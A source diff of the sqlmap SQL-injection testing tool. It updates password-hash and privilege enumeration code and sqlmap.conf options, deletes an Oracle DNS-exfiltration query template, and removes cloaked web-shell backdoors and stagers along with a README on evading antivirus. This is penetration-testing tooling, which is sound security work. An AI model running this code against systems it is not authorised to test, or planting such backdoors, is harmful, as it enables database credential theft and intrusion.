getPasswordHashes(self): condition = rootQuery.inband.condition if conf.user: - query += " WHERE " - query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + userCondition = " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + query += " %s (%s)" % ("AND" if re.search(r"(?i)\bWHERE\b", query) else "WHERE", userCondition) if Backend.isDbms(DBMS.SYBASE): - randStr = randomStr() getCurrentThreadData().disableStdOut = True - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False) if retVal: - for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): + for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: @@ -202,6 +223,11 @@ def getPasswordHashes(self): else: values = inject.getValue(query, blind=False, time=False) + if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): + values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False) + elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)): + values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False) + for user, password in filterPairValues(values): if not user or user == " ": continue @@ -214,12 +240,14 @@ def getPasswordHashes(self): kb.data.cachedUsersPasswords[user].append(password) if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct: + fallback = False + if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: - parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) + parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] @@ -227,14 +255,13 @@ def getPasswordHashes(self): if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True - randStr = randomStr() query = rootQuery.inband.query - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True) if retVal: - for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): - password = "0x%s" % hexencode(password).upper() + for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])): + password = "0x%s" % encodeHex(password, binary=False).upper() if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] @@ -251,29 +278,40 @@ def getPasswordHashes(self): if user in retrievedUsers: continue - infoMsg = "fetching number of password hashes " - infoMsg += "for user '%s'" % user - logger.info(infoMsg) - - if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): - query = rootQuery.blind.count2 % user + if Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): + count = 1 else: - query = rootQuery.blind.count % user + infoMsg = "fetching number of password hashes " + infoMsg += "for user '%s'" % user + logger.info(infoMsg) - count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): + query = rootQuery.blind.count2 % user + else: + query = rootQuery.blind.count % user - if not isNumPosStrValue(count): - warnMsg = "unable to retrieve the number of password " - warnMsg += "hashes for user '%s'" % user - logger.warn(warnMsg) - continue + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if not isNumPosStrValue(count): + if Backend.isDbms(DBMS.MSSQL): + fallback = True + count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + elif Backend.isDbms(DBMS.MYSQL): + fallback = True + count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if not isNumPosStrValue(count): + warnMsg = "unable to retrieve the number of password " + warnMsg += "hashes for user '%s'" % user + logger.warning(warnMsg) + continue infoMsg = "fetching password hashes for user '%s'" % user logger.info(infoMsg) passwords = [] - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: @@ -282,11 +320,26 @@ def getPasswordHashes(self): query = rootQuery.blind.query2 % (user, index, user) else: query = rootQuery.blind.query % (user, index, user) + + if fallback: + query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr") + + elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): + query = rootQuery.blind.query % (user,) + + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.FRONTBASE): + query = rootQuery.blind.query % (index, user) + else: query = rootQuery.blind.query % (user, index) + if Backend.isDbms(DBMS.MYSQL): + if fallback: + query = query.replace("authentication_string", "password") + password = unArrayizeValue(inject.getValue(query, union=False, error=False)) password = parsePasswordHash(password) + passwords.append(password) if passwords: @@ -294,15 +347,13 @@ def getPasswordHashes(self): else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user - logger.warn(warnMsg) + logger.warning(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " - errMsg += "database users (probably because the session " - errMsg += "user has no read privileges over the relevant " - errMsg += "system database table)" + errMsg += "database users" logger.error(errMsg) else: for user in kb.data.cachedUsersPasswords: @@ -312,11 +363,11 @@ def getPasswordHashes(self): message = "do you want to perform a dictionary-based attack " message += "against retrieved password hashes? [Y/n/q]" - test = readInput(message, default="Y") + choice = readInput(message, default='Y').upper() - if test[0] in ("n", "N"): + if choice == 'N': pass - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException else: attackCachedUsersPasswords() @@ -328,7 +379,7 @@ def getPrivileges(self, query2=False): rootQuery = queries[Backend.getIdentifiedDbms()].privileges - if conf.user == "CU": + if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() @@ -338,18 +389,18 @@ def getPrivileges(self, query2=False): conf.user = conf.user.upper() if conf.user: - users = conf.user.split(",") + users = conf.user.split(',') if Backend.isDbms(DBMS.MYSQL): for user in users: - parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) + parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] - users = filter(None, users) + users = [_ for _ in users if _] # Set containing the list of DBMS administrators areAdmins = set() @@ -366,17 +417,17 @@ def getPrivileges(self, query2=False): condition = rootQuery.inband.condition if conf.user: - query += " WHERE " - if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) + userCondition = " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) else: - query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + userCondition = " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) + + query += " %s (%s)" % ("AND" if re.search(r"(?i)\bWHERE\b", query) else "WHERE", userCondition) values = inject.getValue(query, blind=False, time=False) if not values and Backend.isDbms(DBMS.ORACLE) and not query2: - infoMsg = "trying with table USER_SYS_PRIVS" + infoMsg = "trying with table 'USER_SYS_PRIVS'" logger.info(infoMsg) return self.getPrivileges(query2=True) @@ -386,7 +437,7 @@ def getPrivileges(self, query2=False): user = None privileges = set() - for count in xrange(0, len(value)): + for count in xrange(0, len(value or [])): # The first column is always the username if count == 0: user = value[count] @@ -401,28 +452,29 @@ def getPrivileges(self, query2=False): # In PostgreSQL we get 1 if the privilege is # True, 0 otherwise if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit(): - if int(privilege) == 1: + if int(privilege) == 1 and count in PGSQL_PRIVS: privileges.add(PGSQL_PRIVS[count]) # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.ALTIBASE): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - if privilege.upper() == "Y": + if privilege.upper() == 'Y': privileges.add(MYSQL_PRIVS[count]) # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): - privileges.add(FIREBIRD_PRIVS[privilege.strip()]) + if privilege.strip() in FIREBIRD_PRIVS: + privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): - privs = privilege.split(",") + privs = privilege.split(',') privilege = privs[0] if len(privs) > 1: privs = privs[1] @@ -430,7 +482,7 @@ def getPrivileges(self, query2=False): i = 1 for priv in privs: - if priv.upper() in ("Y", "G"): + if priv.upper() in ('Y', 'G'): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv @@ -455,7 +507,7 @@ def getPrivileges(self, query2=False): if Backend.isDbms(DBMS.MYSQL): for user in users: - parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) + parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] @@ -470,39 +522,42 @@ def getPrivileges(self, query2=False): if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: user = "%%%s%%" % user - infoMsg = "fetching number of privileges " - infoMsg += "for user '%s'" % outuser - logger.info(infoMsg) - - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.blind.count2 % user - elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - query = rootQuery.blind.count % (conditionChar, user) - elif Backend.isDbms(DBMS.ORACLE) and query2: - query = rootQuery.blind.count2 % user + if Backend.isDbms(DBMS.INFORMIX): + count = 1 else: - query = rootQuery.blind.count % user + infoMsg = "fetching number of privileges " + infoMsg += "for user '%s'" % outuser + logger.info(infoMsg) - count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + query = rootQuery.blind.count2 % user + elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: + query = rootQuery.blind.count % (conditionChar, user) + elif Backend.isDbms(DBMS.ORACLE) and query2: + query = rootQuery.blind.count2 % user + else: + query = rootQuery.blind.count % user - if not isNumPosStrValue(count): - if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2: - infoMsg = "trying with table USER_SYS_PRIVS" - logger.info(infoMsg) + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - return self.getPrivileges(query2=True) + if not isNumPosStrValue(count): + if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2: + infoMsg = "trying with table 'USER_SYS_PRIVS'" + logger.info(infoMsg) - warnMsg = "unable to retrieve the number of " - warnMsg += "privileges for user '%s'" % outuser - logger.warn(warnMsg) - continue + return self.getPrivileges(query2=True) + + warnMsg = "unable to retrieve the number of " + warnMsg += "privileges for user '%s'" % outuser + logger.warning(warnMsg) + continue infoMsg = "fetching privileges for user '%s'" % outuser logger.info(infoMsg) privileges = set() - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: @@ -514,6 +569,8 @@ def getPrivileges(self, query2=False): query = rootQuery.blind.query2 % (user, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, user) + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.blind.query % (user,) else: query = rootQuery.blind.query % (user, index) @@ -525,32 +582,30 @@ def getPrivileges(self, query2=False): # In PostgreSQL we get 1 if the privilege is True, # 0 otherwise if Backend.isDbms(DBMS.PGSQL) and ", " in privilege: - privilege = privilege.replace(", ", ",") - privs = privilege.split(",") + privilege = privilege.replace(", ", ',') + privs = privilege.split(',') i = 1 for priv in privs: - if priv.isdigit() and int(priv) == 1: - for position, pgsqlPriv in PGSQL_PRIVS.items(): - if position == i: - privileges.add(pgsqlPriv) + if priv.isdigit() and int(priv) == 1 and i in PGSQL_PRIVS: + privileges.add(PGSQL_PRIVS[i]) i += 1 # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.ALTIBASE): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - privilege = privilege.replace(", ", ",") - privs = privilege.split(",") + privilege = privilege.replace(", ", ',') + privs = privilege.split(',') i = 1 for priv in privs: - if priv.upper() == "Y": + if priv.upper() == 'Y': for position, mysqlPriv in MYSQL_PRIVS.items(): if position == i: privileges.add(mysqlPriv) @@ -559,19 +614,25 @@ def getPrivileges(self, query2=False): # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): - privileges.add(FIREBIRD_PRIVS[privilege.strip()]) + if privilege.strip() in FIREBIRD_PRIVS: + privileges.add(FIREBIRD_PRIVS[privilege.strip()]) + + # In Informix we get one letter for the highest privilege + elif Backend.isDbms(DBMS.INFORMIX): + if privilege.strip() in INFORMIX_PRIVS: + privileges.add(INFORMIX_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): - privs = privilege.split(",") + privs = privilege.split(',') privilege = privs[0] privs = privs[1] privs = list(privs.strip()) i = 1 for priv in privs: - if priv.upper() in ("Y", "G"): + if priv.upper() in ('Y', 'G'): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv @@ -591,7 +652,7 @@ def getPrivileges(self, query2=False): else: warnMsg = "unable to retrieve the privileges " warnMsg += "for user '%s'" % outuser - logger.warn(warnMsg) + logger.warning(warnMsg) retrievedUsers.add(user) @@ -607,8 +668,8 @@ def getPrivileges(self, query2=False): return (kb.data.cachedUsersPrivileges, areAdmins) def getRoles(self, query2=False): - warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms() - warnMsg += "exist. sqlmap will enumerate privileges instead" - logger.warn(warnMsg) + warnMsg = "enumeration of roles is not supported on %s; " % Backend.getIdentifiedDbms() + warnMsg += "sqlmap will enumerate privileges instead" + logger.warning(warnMsg) return self.getPrivileges(query2) diff --git a/procs/oracle/dns_request.sql b/procs/oracle/dns_request.sql deleted file mode 100644 index adb71cfb2fb..00000000000 --- a/procs/oracle/dns_request.sql +++ /dev/null @@ -1,2 +0,0 @@ -SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL -# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL diff --git a/shell/README.txt b/shell/README.txt deleted file mode 100644 index 6e2e08cfc74..00000000000 --- a/shell/README.txt +++ /dev/null @@ -1,11 +0,0 @@ -Due to the anti-virus positive detection of shell scripts stored inside -this folder, we needed to somehow circumvent this. As from the plain -sqlmap users perspective nothing has to be done prior to their usage by -sqlmap, but if you want to have access to their original source code use -the decrypt functionality of the ../extra/cloak/cloak.py utility. - -To prepare the original scripts to the cloaked form use this command: -find backdoor.* stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \; - -To get back them into the original form use this: -find backdoor.*_ stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \; diff --git a/shell/backdoor.asp_ b/shell/backdoor.asp_ deleted file mode 100644 index d126faee7dc..00000000000 --- a/shell/backdoor.asp_ +++ /dev/null @@ -1,2 +0,0 @@ -œ…ŽË1ÃOo:÷þŠ‘¥+ÍÆý~lv-\SÒkÙ>é}©UÉ´¤5“Dwþa›†×}±óîF ;KEè -šÁÁzKP'çýÄÊÍ©,Zïu¦;–ÑøX’ã¿+QŠ ­@¹ë¦:ýÿ¢ÎÚ¦D°Vèð Þ~©1µxrAØá·`ÝO†a”m¹‡7ñÄ0Nk0Øn€¯Ä+›‰(¬À+²¸¼ÊÄ VÕƒºÏÓÕ TI£koC³ð¦N³®ömæ»Ö»¶Z¢«>î6”oÂxƒvAQ0`(‡¾³È5ÓGœºdø]wÈDù \ No newline at end of file diff --git a/shell/backdoor.aspx_ b/shell/backdoor.aspx_ deleted file mode 100644 index af7f6d58466..00000000000 Binary files a/shell/backdoor.aspx_ and /dev/null differ diff --git a/shell/backdoor.jsp_ b/shell/backdoor.jsp_ deleted file mode 100644 index ef32603bbe9..00000000000 Binary files a/shell/backdoor.jsp_ and /dev/null differ diff --git a/shell/backdoor.php_ b/shell/backdoor.php_ deleted file mode 100644 index 172dd5f221f..00000000000 Binary files a/shell/backdoor.php_ and /dev/null differ diff --git a/shell/runcmd.exe_ b/shell/runcmd.exe_ deleted file mode 100644 index 5e0d05a994b..00000000000 Binary files a/shell/runcmd.exe_ and /dev/null differ diff --git a/shell/stager.asp_ b/shell/stager.asp_ deleted file mode 100644 index 75a64c1fc41..00000000000 Binary files a/shell/stager.asp_ and /dev/null differ diff --git a/shell/stager.aspx_ b/shell/stager.aspx_ deleted file mode 100644 index 54d56503958..00000000000 Binary files a/shell/stager.aspx_ and /dev/null differ diff --git a/shell/stager.jsp_ b/shell/stager.jsp_ deleted file mode 100644 index 0aa0886015c..00000000000 Binary files a/shell/stager.jsp_ and /dev/null differ diff --git a/shell/stager.php_ b/shell/stager.php_ deleted file mode 100644 index 64f8eacabdf..00000000000 Binary files a/shell/stager.php_ and /dev/null differ diff --git a/sqlmap.conf b/sqlmap.conf index fb0e001850c..e56184d06af 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -2,16 +2,16 @@ # get target URLs from. [Target] +# Target URL. +# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 +url = + # Direct connection to the database. # Examples: # mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME # oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID direct = -# Target URL. -# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -url = - # Parse targets from Burp or WebScarab logs # Valid: Burp proxy (http://portswigger.net/suite/) requests log file path # or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) @@ -27,15 +27,11 @@ requestFile = # Rather than providing a target URL, let Google return target # hosts as result of your Google dork expression. For a list of Google -# dorks see Johnny Long Google Hacking Database at -# http://johnny.ihackstuff.com/ghdb.php. +# dorks see Google Hacking Database at +# https://www.exploit-db.com/google-hacking-database # Example: +ext:php +inurl:"&id=" +intext:"powered by " googleDork = -# Parse target(s) from remote sitemap(.xml) file. -# Example: http://192.168.1.121/sitemap.xml -sitemapUrl = - # These options can be used to specify how to connect to the target URL. [Request] @@ -43,18 +39,21 @@ sitemapUrl = # Force usage of given HTTP method (e.g. PUT). method = -# Data string to be sent through POST. +# Data string to be sent through POST (e.g. "id=1"). data = -# Character used for splitting parameter values. +# Character used for splitting parameter values (e.g. &). paramDel = -# HTTP Cookie header value. +# HTTP Cookie header value (e.g. "PHPSESSID=a8d127e.."). cookie = -# Character used for splitting cookie values. +# Character used for splitting cookie values (e.g. ;). cookieDel = +# Live cookies file used for loading up-to-date values. +liveCookies = + # File containing cookies in Netscape/wget format. loadCookies = @@ -62,11 +61,23 @@ loadCookies = # Valid: True or False dropSetCookie = False +# Use HTTP version 1.0 (old). +# Valid: True or False +http10 = False + +# Use HTTP version 2 (experimental). +# Valid: True or False +http2 = False + # HTTP User-Agent header value. Useful to fake the HTTP User-Agent header value # at each HTTP request. # sqlmap will also test for SQL injection on the HTTP User-Agent value. agent = +# Imitate smartphone through HTTP User-Agent header. +# Valid: True or False +mobile = False + # Use randomly selected HTTP User-Agent header value. # Valid: True or False randomAgent = False @@ -84,12 +95,12 @@ headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 # HTTP Authentication type. Useful only if the target URL requires -# HTTP Basic, Digest or NTLM authentication and you have such data. -# Valid: Basic, Digest, NTLM or PKI +# HTTP Basic, Digest, Bearer or NTLM authentication and you have such data. +# Valid: Basic, Digest, Bearer, NTLM or PKI authType = # HTTP authentication credentials. Useful only if the target URL requires -# HTTP Basic, Digest or NTLM authentication and you have such data. +# HTTP Basic, Digest, Token or NTLM authentication and you have such data. # Syntax: username:password authCred = @@ -98,6 +109,26 @@ authCred = # Syntax: key_file authFile = +# Abort on (problematic) HTTP error code (e.g. 401). +# Valid: string +abortCode = + +# Ignore (problematic) HTTP error code (e.g. 401). +# Valid: string +ignoreCode = + +# Ignore system default proxy settings. +# Valid: True or False +ignoreProxy = False + +# Ignore redirection attempts. +# Valid: True or False +ignoreRedirects = False + +# Ignore connection timeouts. +# Valid: True or False +ignoreTimeouts = False + # Use a proxy to connect to the target URL. # Syntax: (http|https|socks4|socks5)://address:port proxy = @@ -110,10 +141,6 @@ proxyCred = # Load proxy list from a file proxyFile = -# Ignore system default proxy settings. -# Valid: True or False -ignoreProxy = False - # Use Tor anonymity network. # Valid: True or False tor = False @@ -124,7 +151,7 @@ tor = False # Set Tor proxy type. # Valid: HTTP, SOCKS4, SOCKS5 -torType = HTTP +torType = SOCKS5 # Check to see if Tor is used properly. # Valid: True or False @@ -145,6 +172,9 @@ timeout = 30 # Default: 3 retries = 3 +# Retry request on regexp matching content. +retryOn = + # Randomly change value for the given parameter. rParam = @@ -159,25 +189,42 @@ safePost = # Load safe HTTP request from a file. safeReqFile = -# Test requests between two visits to a given safe URL (default 0). +# Regular requests between visits to a safe URL (default 0). # Valid: integer # Default: 0 safeFreq = 0 -# Skip URL encoding of payload data +# Skip URL encoding of payload data. # Valid: True or False skipUrlEncode = False -# Parameter used to hold anti-CSRF token +# Skip safe (HTML) encoding of payload data for SOAP/XML. +# Valid: True or False +skipXmlEncode = False + +# Parameter used to hold anti-CSRF token. csrfToken = # URL address to visit to extract anti-CSRF token csrfUrl = +# HTTP method to use during anti-CSRF token page visit. +csrfMethod = + +# POST data to send during anti-CSRF token page visit. +csrfData = + +# Retries for anti-CSRF token retrieval. +csrfRetries = + # Force usage of SSL/HTTPS # Valid: True or False forceSSL = False +# Use HTTP chunked transfer encoded requests. +# Valid: True or False +chunked = False + # Use HTTP parameter pollution. # Valid: True or False hpp = False @@ -222,11 +269,17 @@ testParameter = # Skip testing for given parameter(s). skip = -# Skip testing parameters that not appear dynamic. +# Skip testing parameters that not appear to be dynamic. # Valid: True or False skipStatic = False -# Force back-end DBMS to this value. If this option is set, the back-end +# Regexp to exclude parameters from testing (e.g. "ses"). +paramExclude = + +# Select testable parameter(s) by place (e.g. "POST"). +paramFilter = + +# Force back-end DBMS to provided value. If this option is set, the back-end # DBMS identification process will be minimized as needed. # If not set, sqlmap will detect back-end DBMS automatically by default. # Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql, sqlite, sqlite3, @@ -241,7 +294,7 @@ dbms = # Syntax: username:password dbmsCred = -# Force back-end DBMS operating system to this value. If this option is +# Force back-end DBMS operating system to provided value. If this option is # set, the back-end DBMS identification process will be minimized as # needed. # If not set, sqlmap will detect back-end DBMS operating system @@ -321,6 +374,10 @@ regexp = # code) # code = +# Conduct thorough tests only if positive heuristic(s). +# Valid: True or False +smart = False + # Compare pages based only on the textual content. # Valid: True or False textOnly = False @@ -345,35 +402,48 @@ titles = False # Example: ES (means test for error-based and stacked queries SQL # injection types only) # Default: BEUSTQ (means test for all SQL injection types - recommended) -tech = BEUSTQ +technique = BEUSTQ # Seconds to delay the response from the DBMS. # Valid: integer # Default: 5 timeSec = 5 -# Range of columns to test for +# Disable the statistical model for detecting the delay. +# Valid: True or False +disableStats = False + +# Range of columns to test for. # Valid: range of integers # Example: 1-10 uCols = -# Character to use for bruteforcing number of columns +# Character to use for bruteforcing number of columns. # Valid: string # Example: NULL uChar = -# Table to use in FROM part of UNION query SQL injection +# Table to use in FROM part of UNION query SQL injection. # Valid: string # Example: INFORMATION_SCHEMA.COLLATIONS uFrom = -# Domain name used for DNS exfiltration attack +# Column values to use for UNION query SQL injection. +# Valid: string +# Example: NULL,1,*,NULL +uValues = + +# Domain name used for DNS exfiltration attack. +# Valid: string +dnsDomain = + +# Resulting page URL searched for second-order response. # Valid: string -dnsName = +secondUrl = -# Resulting page URL searched for second-order response +# Load second-order HTTP request from file. # Valid: string -secondOrder = +secondReq = [Fingerprint] @@ -466,10 +536,14 @@ dumpAll = False # Valid: True or False search = False -# Retrieve back-end database management system comments. +# Check for database management system database comments during enumeration. # Valid: True or False getComments = False +# Retrieve SQL statements being run on database management system. +# Valid: True or False +getStatements = False + # Back-end database management system database to enumerate. db = @@ -479,8 +553,11 @@ tbl = # Back-end database management system database table column(s) to enumerate. col = -# Back-end database management system database table column(s) to not enumerate. -excludeCol = +# Back-end database management system identifiers (database(s), table(s) and column(s)) to not enumerate. +exclude = + +# Pivot column name. +pivotColumn = # Use WHERE condition while table dumping (e.g. "id=1"). dumpWhere = @@ -494,13 +571,13 @@ excludeSysDbs = False # First query output entry to retrieve # Valid: integer -# Default: 0 (sqlmap will start to retrieve the query output entries from -# the first) +# Default: 0 (sqlmap will start to retrieve the table dump entries from +# first one) limitStart = 0 # Last query output entry to retrieve # Valid: integer -# Default: 0 (sqlmap will detect the number of query output entries and +# Default: 0 (sqlmap will detect the number of table dump entries and # retrieve them until the last) limitStop = 0 @@ -518,7 +595,7 @@ lastChar = 0 # SQL statement to be executed. # Example: SELECT 'foo', 'bar' -query = +sqlQuery = # Prompt for an interactive SQL shell. # Valid: True or False @@ -539,6 +616,10 @@ commonTables = False # Valid: True or False commonColumns = False +# Check existence of common files. +# Valid: True or False +commonFiles = False + # These options can be used to create custom user-defined functions. [User-defined function] @@ -557,15 +638,15 @@ shLib = # Read a specific file from the back-end DBMS underlying file system. # Examples: /etc/passwd or C:\boot.ini -rFile = +fileRead = # Write a local file to a specific path on the back-end DBMS underlying # file system. # Example: /tmp/sqlmap.txt or C:\WINNT\Temp\sqlmap.txt -wFile = +fileWrite = # Back-end DBMS absolute filepath to write the file to. -dFile = +fileDest = # These options can be used to access the back-end database management @@ -646,12 +727,32 @@ sessionFile = # Log all HTTP traffic into a textual file. trafficFile = +# Abort data retrieval on empty results. +abortOnEmpty = False + +# Set predefined answers (e.g. "quit=N,follow=N"). +answers = + +# Parameter(s) containing Base64 encoded data +base64Parameter = + +# Use URL and filename safe Base64 alphabet (Reference: https://en.wikipedia.org/wiki/Base64#URL_applications). +# Valid: True or False +base64Safe = False + # Never ask for user input, use the default behaviour. # Valid: True or False batch = False -# Force character encoding used for data retrieval. -charset = +# Result fields having binary values (e.g. "digest"). +binaryFields = + +# Check Internet connection before assessing the target. +checkInternet = False + +# Clean up the DBMS from sqlmap specific UDF and tables. +# Valid: True or False +cleanup = False # Crawl the website starting from the target URL. # Valid: integer @@ -665,10 +766,16 @@ crawlExclude = # Default: , csvDel = , +# Store dumped data to a custom file. +dumpFile = + # Format of dumped data # Valid: CSV, HTML or SQLITE dumpFormat = CSV +# Force character encoding used for data retrieval. +encoding = + # Retrieve each query output length and calculate the estimated time of # arrival in real time. # Valid: True or False @@ -686,7 +793,12 @@ forms = False # Valid: True or False freshQueries = False -# Use DBMS hex function(s) for data retrieval. +# Use Google dork results from specified page number. +# Valid: integer +# Default: 1 +googlePage = 1 + +# Use hex conversion during data retrieval. # Valid: True or False hexConvert = False @@ -697,23 +809,47 @@ outputDir = # Valid: True or False parseErrors = False -# Pivot column name. -pivotColumn = +# Use given script(s) for preprocessing of request. +preprocess = + +# Use given script(s) for postprocessing of response data. +postprocess = + +# Redump entries having unknown character marker (?). +# Valid: True or False +repair = False # Regular expression for filtering targets from provided Burp. # or WebScarab proxy log. # Example: (google|yahoo) scope = -# Select tests by payloads and/or titles (e.g. ROW) +# Skip heuristic detection of SQLi/XSS vulnerabilities. +# Valid: True or False +skipHeuristics = False + +# Skip heuristic detection of WAF/IPS protection. +# Valid: True or False +skipWaf = False + +# Prefix used for temporary tables. +# Default: sqlmap +tablePrefix = sqlmap + +# Select tests by payloads and/or titles (e.g. ROW). testFilter = -# Skip tests by payloads and/or titles (e.g. BENCHMARK) +# Skip tests by 